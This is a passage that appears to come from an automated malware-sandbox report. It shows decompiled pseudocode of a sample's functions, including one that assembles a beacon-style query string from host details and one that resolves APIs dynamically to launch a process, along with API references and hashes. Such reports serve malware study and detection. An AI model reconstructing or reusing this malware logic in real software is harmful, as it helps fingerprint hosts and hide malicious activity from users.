0x00a1b1cd
0x00a1b1d3
0x00000000
0x00a1b174
0x00a1b183
0x00a1b185
0x00a1b186
0x00a1b187
0x00a1b18a
0x00a1b18a
0x00a1b18c
0x00000000
0x00a1b18e
0x00a1b18e
0x00a1b1d8
0x00a1b190
0x00a1b190
0x00a1b194
0x00a1b19c
0x00a1b1a1
0x00a1b1a6
0x00a1b1b2
0x00a1b1ba
0x00a1b1c1
0x00a1b1c7
0x00a1b1cb
0x00000000
0x00a1b1cb
0x00a1b18e
0x00a1b18c
0x00000000
0x00a1b172
0x00a1b1e6
0x00a1b1e6
0x00a1b1e6
0x00a1b162
0x00a1b202
0x00a1b209

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f37e18b72ef76f3e50d9b898edfd48ae2b22ba2880acf1ff50920e361efee75
Instruction ID: 7b099b7f61b736a3cedf9ed2d7e1714e5781627de461ca3d380e054595ee2443
Opcode Fuzzy Hash: 4f37e18b72ef76f3e50d9b898edfd48ae2b22ba2880acf1ff50920e361efee75
Instruction Fuzzy Hash: 0621B632910204AFCB14EF68C8D09EBBBA5FF44350B4681A8ED559B245D730FA65C7F0

Uniqueness

Uniqueness Score: -1.00%

Function 10002154, Relevance: .1, Instructions: 77
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E10002154(signed int* __eax, void* __ebx, signed int __edx, char _a4, long _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v12;
				void* __ebp;
				signed int* _t43;
				char _t44;
				void* _t46;
				void* _t49;
				intOrPtr* _t53;
				void* _t54;
				void* _t65;
				long _t66;
				signed int* _t80;
				signed int* _t82;
				void* _t84;
				signed int _t86;
				void* _t89;
				void* _t95;
				void* _t96;
				void* _t99;
				void* _t106;

				_t43 = _t84;
				_t65 = __ebx + 2;
				 *_t43 =  *_t43 ^ __edx ^  *__eax;
				_t89 = _t95;
				_t96 = _t95 - 8;
				_push(_t65);
				_push(_t84);
				_push(_t89);
				asm("cld");
				_t66 = _a8;
				_t44 = _a4;
				if(( *(_t44 + 4) & 0x00000006) != 0) {
					_push(_t89);
					E100022BB(_t66 + 0x10, _t66, 0xffffffff);
					_t46 = 1;
				} else {
					_v12 = _t44;
					_v8 = _a12;
					 *((intOrPtr*)(_t66 - 4)) =  &_v12;
					_t86 =  *(_t66 + 0xc);
					_t80 =  *(_t66 + 8);
					_t49 = E10002375(_t66);
					_t99 = _t96 + 4;
					if(_t49 == 0) {
						 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
						goto L11;
					} else {
						while(_t86 != 0xffffffff) {
							_t53 =  *((intOrPtr*)(_t80 + 4 + (_t86 + _t86 * 2) * 4));
							if(_t53 == 0) {
								L8:
								_t80 =  *(_t66 + 8);
								_t86 = _t80[_t86 + _t86 * 2];
								continue;
							} else {
								_t54 =  *_t53();
								_t89 = _t89;
								_t86 = _t86;
								_t66 = _a8;
								_t55 = _t54;
								_t106 = _t54;
								if(_t106 == 0) {
									goto L8;
								} else {
									if(_t106 < 0) {
										_t46 = 0;
									} else {
										_t82 =  *(_t66 + 8);
										E10002260(_t55, _t66);
										_t89 = _t66 + 0x10;
										E100022BB(_t89, _t66, 0);
										_t99 = _t99 + 0xc;
										E10002357(_t82[2]);
										 *(_t66 + 0xc) =  *_t82;
										_t66 = 0;
										_t86 = 0;
										 *(_t82[2])(1);
										goto L8;
									}
								}
							}
							goto L13;
						}
						L11:
						_t46 = 1;
					}
				}
				L13:
				return _t46;
			}

0x10002158
0x10002159
0x1000215a
0x1000215d
0x1000215f
0x10002162
0x10002163
0x10002165
0x10002166
0x10002167
0x1000216a
0x10002174
0x10002225
0x1000222c
0x10002235
0x1000217a
0x1000217a
0x10002180
0x10002186
0x10002189
0x1000218c
0x10002190
0x10002195
0x1000219a
0x1000221a
0x00000000
0x1000219c
0x1000219c
0x100021a8
0x100021aa
0x10002205
0x10002205
0x1000220b
0x00000000
0x100021ac
0x100021bb
0x100021bd
0x100021be
0x100021bf
0x100021c2
0x100021c2
0x100021c4
0x00000000
0x100021c6
0x100021c6
0x10002210
0x100021c8
0x100021c8
0x100021cc
0x100021d4
0x100021d9
0x100021de
0x100021ea
0x100021f2
0x100021f9
0x100021ff
0x10002203
0x00000000
0x10002203
0x100021c6
0x100021c4
0x00000000
0x100021aa
0x1000221e
0x1000221e
0x1000221e
0x1000219a
0x1000223a
0x10002241

Memory Dump Source

Source File: 00000001.00000002.474385844.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.474366232.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.474416548.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12a7070065f657aa0aacf06b7ef6137888dfa06173cfdd6141a47a1bb7c7c469
Instruction ID: 9c57574405240a8165450f76d07df83800bb314007ae7cce2d6078ed4837daf0
Opcode Fuzzy Hash: 12a7070065f657aa0aacf06b7ef6137888dfa06173cfdd6141a47a1bb7c7c469
Instruction Fuzzy Hash: 6521CB76900204AFD710DFA8CCC09A7F7A5FF49390B468158DD599B249D730FA25CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 024C3FA8, Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.463832137.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: true

Associated: 00000001.00000002.463935812.00000000024D8000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.463950740.000000000251D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6db2e7ad59aed6164d3a801dd9d988d2f0d5b046bba1ded36895bc7511698fec
Instruction ID: ac2c5de798fb66009a012cb773be4cca34e6ae9d898f4f7e2842cc4e071fe8bf
Opcode Fuzzy Hash: 6db2e7ad59aed6164d3a801dd9d988d2f0d5b046bba1ded36895bc7511698fec
Instruction Fuzzy Hash: 7C318432910609DBEB088E24C9567DA7B70FF40F20F28C65EEC36990D5C7B947219BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00A1A279, Relevance: 34.7, APIs: 23, Instructions: 201
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00A1A279(long __eax, void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a12, void* _a16, void* _a24, intOrPtr _a32) {
				intOrPtr _v0;
				intOrPtr _v4;
				intOrPtr _v16;
				intOrPtr _v24;
				intOrPtr _v28;
				void* _v44;
				intOrPtr _v52;
				void* __edi;
				long _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr _t28;
				intOrPtr _t29;
				intOrPtr _t30;
				void* _t33;
				intOrPtr _t34;
				int _t37;
				intOrPtr _t42;
				intOrPtr _t43;
				intOrPtr _t50;
				intOrPtr _t54;
				intOrPtr* _t56;
				intOrPtr _t62;
				intOrPtr _t68;
				intOrPtr _t71;
				intOrPtr _t74;
				int _t77;
				intOrPtr _t78;
				int _t81;
				intOrPtr _t83;
				int _t86;
				intOrPtr* _t89;
				intOrPtr* _t90;
				void* _t91;
				void* _t95;
				void* _t96;
				void* _t97;
				intOrPtr _t98;
				void* _t100;
				int _t101;
				void* _t102;
				void* _t103;
				void* _t105;
				void* _t106;
				void* _t108;

				_t95 = __edx;
				_t91 = __ecx;
				_t25 = __eax;
				_t105 = _a16;
				_v4 = 8;
				if(__eax == 0) {
					_t25 = GetTickCount();
				}
				_t26 =  *0xa1d018; // 0xd1eb352c
				asm("bswap eax");
				_t27 =  *0xa1d014; // 0x3a87c8cd
				asm("bswap eax");
				_t28 =  *0xa1d010; // 0xd8d2f808
				asm("bswap eax");
				_t29 =  *0xa1d00c; // 0xeec43f25
				asm("bswap eax");
				_t30 =  *0xa1d27c; // 0x271a5a8
				_t3 = _t30 + 0xa1e633; // 0x74666f73
				_t101 = wsprintfA(_t105, _t3, 2, 0x3d14b, _t29, _t28, _t27, _t26,  *0xa1d02c,  *0xa1d004, _t25);
				_t33 = E00A11C1A();
				_t34 =  *0xa1d27c; // 0x271a5a8
				_t4 = _t34 + 0xa1e673; // 0x74707526
				_t37 = wsprintfA(_t101 + _t105, _t4, _t33);
				_t108 = _t106 + 0x38;
				_t102 = _t101 + _t37;
				_t96 = E00A154BC(_t91);
				if(_t96 != 0) {
					_t83 =  *0xa1d27c; // 0x271a5a8
					_t6 = _t83 + 0xa1e8eb; // 0x736e6426
					_t86 = wsprintfA(_t102 + _t105, _t6, _t96);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t86;
					HeapFree( *0xa1d238, 0, _t96);
				}
				_t97 = E00A17649();
				if(_t97 != 0) {
					_t78 =  *0xa1d27c; // 0x271a5a8
					_t8 = _t78 + 0xa1e8f3; // 0x6f687726
					_t81 = wsprintfA(_t102 + _t105, _t8, _t97);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t81;
					HeapFree( *0xa1d238, 0, _t97);
				}
				_t98 =  *0xa1d32c; // 0x31395b0
				_a32 = E00A19395( &E00A1D00A, _t98 + 4);
				_t42 =  *0xa1d2cc; // 0x0
				if(_t42 != 0) {
					_t74 =  *0xa1d27c; // 0x271a5a8
					_t11 = _t74 + 0xa1e8cd; // 0x3d736f26
					_t77 = wsprintfA(_t102 + _t105, _t11, _t42);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t77;
				}
				_t43 =  *0xa1d2c8; // 0x0
				if(_t43 != 0) {
					_t71 =  *0xa1d27c; // 0x271a5a8
					_t13 = _t71 + 0xa1e8c6; // 0x3d706926
					wsprintfA(_t102 + _t105, _t13, _t43);
				}
				if(_a32 != 0) {
					_t100 = RtlAllocateHeap( *0xa1d238, 0, 0x800);
					if(_t100 != 0) {
						E00A17A80(GetTickCount());
						_t50 =  *0xa1d32c; // 0x31395b0
						__imp__(_t50 + 0x40);
						asm("lock xadd [eax], ecx");
						_t54 =  *0xa1d32c; // 0x31395b0
						__imp__(_t54 + 0x40);
						_t56 =  *0xa1d32c; // 0x31395b0
						_t103 = E00A18307(1, _t95, _t105,  *_t56);
						asm("lock xadd [eax], ecx");
						if(_t103 != 0) {
							StrTrimA(_t103, 0xa1c2ac);
							_push(_t103);
							_t62 = E00A13CC8();
							_v16 = _t62;
							if(_t62 != 0) {
								_t89 = __imp__;
								 *_t89(_t103, _v0);
								 *_t89(_t100, _a4);
								_t90 = __imp__;
								 *_t90(_t100, _v28);
								 *_t90(_t100, _t103);
								_t68 = E00A11199(0xffffffffffffffff, _t100, _v28, _v24);
								_v52 = _t68;
								if(_t68 != 0 && _t68 != 0x10d2) {
									E00A1A1B0();
								}
								HeapFree( *0xa1d238, 0, _v44);
							}
							HeapFree( *0xa1d238, 0, _t103);
						}
						HeapFree( *0xa1d238, 0, _t100);
					}
					HeapFree( *0xa1d238, 0, _a24);
				}
				HeapFree( *0xa1d238, 0, _t105);
				return _a12;
			}

0x00a1a279
0x00a1a279
0x00a1a279
0x00a1a280
0x00a1a286
0x00a1a28e
0x00a1a290
0x00a1a290
0x00a1a29d
0x00a1a2a8
0x00a1a2ab
0x00a1a2b6
0x00a1a2b9
0x00a1a2be
0x00a1a2c1
0x00a1a2c6
0x00a1a2c9
0x00a1a2d5
0x00a1a2e2
0x00a1a2e4
0x00a1a2ea
0x00a1a2ef
0x00a1a2fa
0x00a1a2fc
0x00a1a2ff
0x00a1a306
0x00a1a30a
0x00a1a30c
0x00a1a311
0x00a1a31d
0x00a1a31f
0x00a1a32b
0x00a1a32d
0x00a1a32d
0x00a1a338
0x00a1a33c
0x00a1a33e
0x00a1a343
0x00a1a34f
0x00a1a351
0x00a1a35d
0x00a1a35f
0x00a1a35f
0x00a1a365
0x00a1a378
0x00a1a37c
0x00a1a383
0x00a1a386
0x00a1a38b
0x00a1a396
0x00a1a398
0x00a1a39b
0x00a1a39b
0x00a1a39d
0x00a1a3a4
0x00a1a3a7
0x00a1a3ac
0x00a1a3b6
0x00a1a3b8
0x00a1a3c0
0x00a1a3d9
0x00a1a3dd
0x00a1a3e9
0x00a1a3ee
0x00a1a3f7
0x00a1a408
0x00a1a40c
0x00a1a415
0x00a1a41b
0x00a1a428
0x00a1a435
0x00a1a43b
0x00a1a447
0x00a1a44d
0x00a1a44e
0x00a1a455
0x00a1a459
0x00a1a45f
0x00a1a466
0x00a1a46d
0x00a1a473
0x00a1a47a
0x00a1a47e
0x00a1a489
0x00a1a490
0x00a1a494
0x00a1a49d
0x00a1a49d
0x00a1a4ae
0x00a1a4ae
0x00a1a4bd
0x00a1a4bd
0x00a1a4cc
0x00a1a4cc
0x00a1a4de
0x00a1a4de
0x00a1a4ed
0x00a1a4fe

APIs

GetTickCount.KERNEL32 ref: 00A1A290
wsprintfA.USER32 ref: 00A1A2DD
wsprintfA.USER32 ref: 00A1A2FA
wsprintfA.USER32 ref: 00A1A31D
HeapFree.KERNEL32(00000000,00000000), ref: 00A1A32D
wsprintfA.USER32 ref: 00A1A34F
HeapFree.KERNEL32(00000000,00000000), ref: 00A1A35F
wsprintfA.USER32 ref: 00A1A396
wsprintfA.USER32 ref: 00A1A3B6
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 00A1A3D3
GetTickCount.KERNEL32 ref: 00A1A3E3
RtlEnterCriticalSection.NTDLL(03139570), ref: 00A1A3F7
RtlLeaveCriticalSection.NTDLL(03139570), ref: 00A1A415

Part of subcall function 00A18307: lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,7742C740,?,?,00A1A428,?,031395B0), ref: 00A18332
Part of subcall function 00A18307: lstrlen.KERNEL32(?,?,?,00A1A428,?,031395B0), ref: 00A1833A
Part of subcall function 00A18307: strcpy.NTDLL ref: 00A18351
Part of subcall function 00A18307: lstrcat.KERNEL32(00000000,?), ref: 00A1835C
Part of subcall function 00A18307: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,00A1A428,?,031395B0), ref: 00A18379

StrTrimA.SHLWAPI(00000000,00A1C2AC,?,031395B0), ref: 00A1A447

Part of subcall function 00A13CC8: lstrlen.KERNEL32(03139910,00000000,00000000,7742C740,00A1A453,00000000), ref: 00A13CD8
Part of subcall function 00A13CC8: lstrlen.KERNEL32(?), ref: 00A13CE0
Part of subcall function 00A13CC8: lstrcpy.KERNEL32(00000000,03139910), ref: 00A13CF4
Part of subcall function 00A13CC8: lstrcat.KERNEL32(00000000,?), ref: 00A13CFF

lstrcpy.KERNEL32(00000000,?), ref: 00A1A466
lstrcpy.KERNEL32(00000000,00000000), ref: 00A1A46D
lstrcat.KERNEL32(00000000,?), ref: 00A1A47A
lstrcat.KERNEL32(00000000,00000000), ref: 00A1A47E

Part of subcall function 00A11199: WaitForSingleObject.KERNEL32(00000000,00000000,00000000,74B481D0), ref: 00A1124B

HeapFree.KERNEL32(00000000,?,00000000,?,?), ref: 00A1A4AE
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 00A1A4BD
HeapFree.KERNEL32(00000000,00000000,?,031395B0), ref: 00A1A4CC
HeapFree.KERNEL32(00000000,00000000), ref: 00A1A4DE
HeapFree.KERNEL32(00000000,?), ref: 00A1A4ED

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$Free$wsprintf$lstrcatlstrlen$lstrcpy$CountCriticalSectionTickTrim$AllocateEnterLeaveObjectSingleWaitstrcpy
String ID:
API String ID: 3080378247-0
Opcode ID: d728ac418397a7908069f9177e11d9b2f5ac58e86d373efc01ae8ca9d015457d
Instruction ID: f742237ddf5297ad7250419dd34d206b20e69500beeb8ce178e70850141925bb
Opcode Fuzzy Hash: d728ac418397a7908069f9177e11d9b2f5ac58e86d373efc01ae8ca9d015457d
Instruction Fuzzy Hash: DF61CA72540200EFC721DBE4EC48FDA7BE8EB4C360F058114F969CB261DB39E9469B66

Uniqueness

Uniqueness Score: -1.00%

Function 00A1816C, Relevance: 13.6, APIs: 9, Instructions: 112
stringCOMMON

Download Yara Rule

C-Code - Quality: 27%

			E00A1816C(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				long _v16;
				intOrPtr _v20;
				signed int _v24;
				void* __esi;
				long _t43;
				intOrPtr _t44;
				intOrPtr _t46;
				void* _t48;
				void* _t49;
				void* _t50;
				intOrPtr _t54;
				intOrPtr _t57;
				void* _t58;
				void* _t59;
				void* _t60;
				intOrPtr _t66;
				void* _t71;
				void* _t74;
				intOrPtr _t75;
				void* _t77;
				intOrPtr _t79;
				intOrPtr* _t80;
				intOrPtr _t91;

				_t79 =  *0xa1d33c; // 0x3139bd8
				_v24 = 8;
				_t43 = GetTickCount();
				_push(5);
				_t74 = 0xa;
				_v16 = _t43;
				_t44 = E00A170F5(_t74,  &_v16);
				_v8 = _t44;
				if(_t44 == 0) {
					_v8 = 0xa1c1ac;
				}
				_t46 = E00A18022(_t79);
				_v12 = _t46;
				if(_t46 != 0) {
					_t80 = __imp__;
					_t48 =  *_t80(_v8, _t71);
					_t49 =  *_t80(_v12);
					_t50 =  *_t80(_a4);
					_t54 = E00A12049(lstrlenW(_a8) + _t48 + _t48 + _t49 + _t50 + lstrlenW(_a8) + _t48 + _t48 + _t49 + _t50 + 0x102);
					_v20 = _t54;
					if(_t54 != 0) {
						_t75 =  *0xa1d27c; // 0x271a5a8
						_t16 = _t75 + 0xa1eb28; // 0x530025
						 *0xa1d11c(_t54, _t16, _v8, _v8, _a4, _v12, _a8);
						_push(4);
						_t77 = 5;
						_t57 = E00A170F5(_t77,  &_v16);
						_v8 = _t57;
						if(_t57 == 0) {
							_v8 = 0xa1c1b0;
						}
						_t58 =  *_t80(_v8);
						_t59 =  *_t80(_v12);
						_t60 =  *_t80(_a4);
						_t91 = E00A12049(lstrlenW(_a12) + _t58 + _t58 + _t59 + _t60 + lstrlenW(_a12) + _t58 + _t58 + _t59 + _t60 + 0x13a);
						if(_t91 == 0) {
							E00A19039(_v20);
						} else {
							_t66 =  *0xa1d27c; // 0x271a5a8
							_t31 = _t66 + 0xa1ec48; // 0x73006d
							 *0xa1d11c(_t91, _t31, _v8, _v8, _a4, _v12, _a12);
							 *_a16 = _v20;
							_v24 = _v24 & 0x00000000;
							 *_a20 = _t91;
						}
					}
					E00A19039(_v12);
				}
				return _v24;
			}

0x00a18174
0x00a1817a
0x00a18181
0x00a18187
0x00a1818b
0x00a1818f
0x00a18192
0x00a18199
0x00a1819c
0x00a1819e
0x00a1819e
0x00a181a7
0x00a181ae
0x00a181b1
0x00a181b7
0x00a181c1
0x00a181ca
0x00a181d1
0x00a181ea
0x00a181f1
0x00a181f4
0x00a181fd
0x00a18206
0x00a18217
0x00a18220
0x00a18224
0x00a18228
0x00a1822f
0x00a18232
0x00a18234
0x00a18234
0x00a1823e
0x00a18247
0x00a1824e
0x00a18266
0x00a1826a
0x00a182a7
0x00a1826c
0x00a1826f
0x00a18277
0x00a18288
0x00a18294
0x00a1829c
0x00a182a0
0x00a182a0
0x00a1826a
0x00a182af
0x00a182b4
0x00a182bb

APIs

GetTickCount.KERNEL32 ref: 00A18181
lstrlen.KERNEL32(?,80000002,00000005), ref: 00A181C1
lstrlen.KERNEL32(00000000), ref: 00A181CA
lstrlen.KERNEL32(00000000), ref: 00A181D1
lstrlenW.KERNEL32(80000002), ref: 00A181DE
lstrlen.KERNEL32(?,00000004), ref: 00A1823E
lstrlen.KERNEL32(?), ref: 00A18247
lstrlen.KERNEL32(?), ref: 00A1824E
lstrlenW.KERNEL32(?), ref: 00A18255

Part of subcall function 00A19039: HeapFree.KERNEL32(00000000,00000000,00A17F18,00000000,?,?,00000000), ref: 00A19045

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$CountFreeHeapTick
String ID:
API String ID: 2535036572-0
Opcode ID: 7f452cac52661a104a7c628133078c46d079b4b41df6acfaa8c14b262e97a7d6
Instruction ID: df759b17fcad2b42a0c7af72a775c0df59c652b3ea6bfd37e4d36c17c8a8307c
Opcode Fuzzy Hash: 7f452cac52661a104a7c628133078c46d079b4b41df6acfaa8c14b262e97a7d6
Instruction Fuzzy Hash: FD413772800219FFDF11EFA4CD05ADEBBB5EF48314F154061ED14A7221DB369A52EB90

Uniqueness

Uniqueness Score: -1.00%

Function 00A1205E, Relevance: 10.6, APIs: 7, Instructions: 109
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E00A1205E(void* __eax, void* __ecx) {
				long _v8;
				char _v12;
				void* _v16;
				void* _v28;
				long _v32;
				void _v104;
				char _v108;
				long _t36;
				intOrPtr _t40;
				intOrPtr _t47;
				intOrPtr _t50;
				void* _t58;
				void* _t68;
				intOrPtr* _t70;
				intOrPtr* _t71;

				_t1 = __eax + 0x14; // 0x74183966
				_t69 =  *_t1;
				_t36 = E00A1692C(__ecx,  *((intOrPtr*)( *_t1 + 0xc)),  &_v12,  &_v16);
				_v8 = _t36;
				if(_t36 != 0) {
					L12:
					return _v8;
				}
				E00A1A8D8( *((intOrPtr*)(_t69 + 0xc)),  *((intOrPtr*)(_t69 + 8)), _v12);
				_t40 = _v12(_v12);
				_v8 = _t40;
				if(_t40 == 0 && ( *0xa1d260 & 0x00000001) != 0) {
					_v32 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v108 = 0;
					memset( &_v104, 0, 0x40);
					_t47 =  *0xa1d27c; // 0x271a5a8
					_t18 = _t47 + 0xa1e3e6; // 0x73797325
					_t68 = E00A195B1(_t18);
					if(_t68 == 0) {
						_v8 = 8;
					} else {
						_t50 =  *0xa1d27c; // 0x271a5a8
						_t19 = _t50 + 0xa1e747; // 0x3138cef
						_t20 = _t50 + 0xa1e0af; // 0x4e52454b
						_t71 = GetProcAddress(GetModuleHandleA(_t20), _t19);
						if(_t71 == 0) {
							_v8 = 0x7f;
						} else {
							_v108 = 0x44;
							E00A184D5();
							_t58 =  *_t71(0, _t68, 0, 0, 0, 0x4000000, 0, 0,  &_v108,  &_v32, 0);
							_push(1);
							E00A184D5();
							if(_t58 == 0) {
								_v8 = GetLastError();
							} else {
								CloseHandle(_v28);
								CloseHandle(_v32);
							}
						}
						HeapFree( *0xa1d238, 0, _t68);
					}
				}
				_t70 = _v16;
				 *((intOrPtr*)(_t70 + 0x18))( *((intOrPtr*)(_t70 + 0x1c))( *_t70));
				E00A19039(_t70);
				goto L12;
			}

0x00a12066
0x00a12066
0x00a12075
0x00a1207e
0x00a12081
0x00a1218e
0x00a12195
0x00a12195
0x00a12090
0x00a12098
0x00a1209d
0x00a120a0
0x00a120b5
0x00a120bb
0x00a120bc
0x00a120bf
0x00a120c5
0x00a120c8
0x00a120cd
0x00a120d5
0x00a120e1
0x00a120e5
0x00a12175
0x00a120eb
0x00a120eb
0x00a120f0
0x00a120f7
0x00a1210b
0x00a1210f
0x00a1215e
0x00a12111
0x00a12112
0x00a12119
0x00a12132
0x00a12134
0x00a12138
0x00a1213f
0x00a12159
0x00a12141
0x00a1214a
0x00a1214f
0x00a1214f
0x00a1213f
0x00a1216d
0x00a1216d
0x00a120e5
0x00a1217c
0x00a12185
0x00a12189
0x00000000

APIs

Part of subcall function 00A1692C: GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,00A1207A,?,00000001,?,?,00000000,00000000), ref: 00A16951
Part of subcall function 00A1692C: GetProcAddress.KERNEL32(00000000,7243775A), ref: 00A16973
Part of subcall function 00A1692C: GetProcAddress.KERNEL32(00000000,614D775A), ref: 00A16989
Part of subcall function 00A1692C: GetProcAddress.KERNEL32(00000000,6E55775A), ref: 00A1699F
Part of subcall function 00A1692C: GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 00A169B5
Part of subcall function 00A1692C: GetProcAddress.KERNEL32(00000000,6C43775A), ref: 00A169CB

memset.NTDLL ref: 00A120C8

Part of subcall function 00A195B1: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,00A123E9,63699BCE,00A11354,73797325), ref: 00A195C2
Part of subcall function 00A195B1: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 00A195DC

GetModuleHandleA.KERNEL32(4E52454B,03138CEF,73797325), ref: 00A120FE
GetProcAddress.KERNEL32(00000000), ref: 00A12105
HeapFree.KERNEL32(00000000,00000000), ref: 00A1216D

Part of subcall function 00A184D5: GetProcAddress.KERNEL32(36776F57,00A121E5), ref: 00A184F0

CloseHandle.KERNEL32(00000000,00000001), ref: 00A1214A
CloseHandle.KERNEL32(?), ref: 00A1214F
GetLastError.KERNEL32(00000001), ref: 00A12153

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: AddressProc$Handle$CloseEnvironmentExpandModuleStrings$ErrorFreeHeapLastmemset
String ID:
API String ID: 3075724336-0
Opcode ID: e8045bad0bdcdf015bc8c081906b0d3af0c53c155156c8a180ade9cdad7de26c
Instruction ID: 9d48e4d668e456f11dd717f98e4b715dc1a6c59bdd97ea2efaacfb98ec4ccde7
Opcode Fuzzy Hash: e8045bad0bdcdf015bc8c081906b0d3af0c53c155156c8a180ade9cdad7de26c
Instruction Fuzzy Hash: CA3119B2800208BFDB10DFE4DD88AEEBBBCEB08354F104569F655A7121D6749E959B50

Uniqueness

Uniqueness Score: -1.00%

Function 00A18307, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68
stringCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E00A18307(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _t9;
				intOrPtr _t13;
				char* _t28;
				void* _t33;
				void* _t34;
				char* _t36;
				intOrPtr* _t40;
				char* _t41;
				char* _t42;
				char* _t43;

				_t34 = __edx;
				_push(__ecx);
				_t9 =  *0xa1d27c; // 0x271a5a8
				_t1 = _t9 + 0xa1e62c; // 0x253d7325
				_t36 = 0;
				_t28 = E00A19401(__ecx, _t1);
				if(_t28 != 0) {
					_t40 = __imp__;
					_t13 =  *_t40(_t28);
					_v8 = _t13;
					_t41 = E00A12049(_v8 +  *_t40(_a4) + 1);
					if(_t41 != 0) {
						strcpy(_t41, _t28);
						_pop(_t33);
						__imp__(_t41, _a4);
						_t36 = E00A17225(_t34, _t41, _a8);
						E00A19039(_t41);
						_t42 = E00A18E82(StrTrimA(_t36, "="), _t36);
						if(_t42 != 0) {
							E00A19039(_t36);
							_t36 = _t42;
						}
						_t43 = E00A1788B(_t36, _t33);
						if(_t43 != 0) {
							E00A19039(_t36);
							_t36 = _t43;
						}
					}
					E00A19039(_t28);
				}
				return _t36;
			}

0x00a18307
0x00a1830a
0x00a1830b
0x00a18313
0x00a1831a
0x00a18321
0x00a18325
0x00a1832b
0x00a18332
0x00a18337
0x00a18349
0x00a1834d
0x00a18351
0x00a18357
0x00a1835c
0x00a1836c
0x00a1836e
0x00a18385
0x00a18389
0x00a1838c
0x00a18391
0x00a18391
0x00a1839a
0x00a1839e
0x00a183a1
0x00a183a6
0x00a183a6
0x00a1839e
0x00a183a9
0x00a183a9
0x00a183b4

APIs

Part of subcall function 00A19401: lstrlen.KERNEL32(00000000,00000000,00000000,7742C740,?,?,?,00A18321,253D7325,00000000,00000000,7742C740,?,?,00A1A428,?), ref: 00A19468
Part of subcall function 00A19401: sprintf.NTDLL ref: 00A19489

lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,7742C740,?,?,00A1A428,?,031395B0), ref: 00A18332
lstrlen.KERNEL32(?,?,?,00A1A428,?,031395B0), ref: 00A1833A

Part of subcall function 00A12049: RtlAllocateHeap.NTDLL(00000000,00000000,00A17E50), ref: 00A12055

strcpy.NTDLL ref: 00A18351
lstrcat.KERNEL32(00000000,?), ref: 00A1835C

Part of subcall function 00A17225: lstrlen.KERNEL32(?,?,?,?,00000001,00000000,00000000,?,00A1836B,00000000,?,?,?,00A1A428,?,031395B0), ref: 00A1723C

Part of subcall function 00A19039: HeapFree.KERNEL32(00000000,00000000,00A17F18,00000000,?,?,00000000), ref: 00A19045

